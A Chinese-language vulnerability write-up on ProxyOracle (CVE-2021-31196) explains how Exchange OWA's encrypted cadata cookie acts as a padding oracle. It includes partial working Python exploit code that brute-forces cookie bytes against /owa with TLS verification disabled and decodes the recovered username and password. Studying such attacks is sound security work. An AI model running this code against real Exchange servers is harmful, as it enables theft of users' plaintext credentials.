ProxyOracle利用分析2——CVE-2021-31196
0x00 前言
在上篇文章《ProxyOracle利用分析1——CVE-2021-31195》介绍了获得用户Cookie信息的思路,本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令
0x01 简介
本文将要介绍以下内容:
- 实现思路
- 部分开源代码
0x02 实现思路
实现Padding Oracle Attack的前提条件:
1.获得密文和密文对应的IV(初始化向量) 2.能够触发密文的解密过程,且能够知道密文的解密结果
对应到Exchange上面,具体信息如下:
(1)获得密文和密文对应的IV(初始化向量)
Cookie信息中的cadata对应密文,cadataIV对应IV
(2)能够触发密文的解密过程,且能够知道密文的解密结果
我们通过dnsSpy反编译dll能够获得详细的解密过程,方法如下:
使用dnsSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll
依次定位到Microsoft.Exchange.HttpProxy
-> FbaModule
-> ParseCadataCookies(HttpApplication httpApplication)
如下图
得到触发密文解密过程的方法:
访问https://<url>/owa
,发送GET数据包,Cookie中需要包含cadata、cadataTTL、cadataKey、cadataIV和cadataSig
密文解密结果的判断:
发送GET数据包后,默认进行302跳转,并在响应内容中标记是否解密成功
解密结果可以通过查看LogonReason的定义进行判断
如下图
从这里看出,0代表None,这里为格式错误,1代表Logoff,2代表InvalidCredentials,3代表Timeout,4代表ChangePasswordLogoff
我们在尝试解密时,当reason=2,代表解密成功
当reason=3时,代表Cookie已过期,此时无法实现Padding Oracle Attack
注:
Exchange的Cookie有效期为12小时
0x03 部分开源代码
1.破解第0个分组的第8个字节
Python实现的完整示例代码如下:
#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()
def checkFirstByte(url, flag):
url1 = "https://" + url + "/owa/"
cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="
cipher = base64.b64decode(cadata)
bs = 16
if len(cipher) % bs != 0:
raise ValueError("The length of `cipher` must be a multiple of `bs`")
cipher_blocks = []
for i in range(0, len(cipher), bs):
cipher_blocks.append(cipher[i: i + bs])
bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag])
bytecadata = bytetempdata + cipher_blocks[1]
base64cadata = base64.b64encode(bytecadata).decode()
cookie = {
"cadata": base64cadata,
"cadataTTL": cadataTTL,
"cadataKey": cadataKey,
"cadataIV": cadataIV,
"cadataSig": cadataSig,
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)
if response.status_code == 302 and "reason" in response.text:
pattern_name = re.compile(r"reason=(.*?)\">here")
name = pattern_name.findall(response.text)
print(name[0], end='')
if name[0] == "2":
print("\ndecrypt:")
print(bytecadata)
sys.exit(0)
else:
return False
if __name__ == "__main__":
for flag in range(0, 256):
checkFirstByte("192.168.1.1", flag)
这里需要注意以下细节:
(1)0x00至0xFF遍历
for i in range(0, 256):
i = bytes([i])
print(i)
(2)密文分组
分组长度为16
(3)发送GET请求时设置allow_redirects=False
来禁用跳转
2.由填充明文到实际明文
在我们完成整个Padding Oracle Attack后,会得到一段填充的明文
由填充明文到实际明文的完整示例代码如下:
#python3
import base64
import re
def unpad(s):
exe = re.findall("..", s.hex())
padding = int(exe[-1], 16)
exe = exe[::-1]
if padding == 0 or padding > 16:
return 0
for i in range(padding):
if int(exe[i], 16) != padding:
return 0
return s[: -ord(s[len(s) - 1 :])]
decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()
print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])
代码执行结果如下图
这里需要注意以下细节:
(1)得到填充明文后需要使用PKCS7进行数据填充
(2)实际明文的格式为usename:password
虽然明文的前两字节无法破解,导致用户名显示不完整,但这不会造成影响,因为我们拿到的Cookie信息中,”lgn”显示了完整了用户名称
0x04 小结
本文介绍了通过Padding Oracle Attack还原出用户明文口令的方法,关键代码已开源,剩余的部分留给读者自行完成。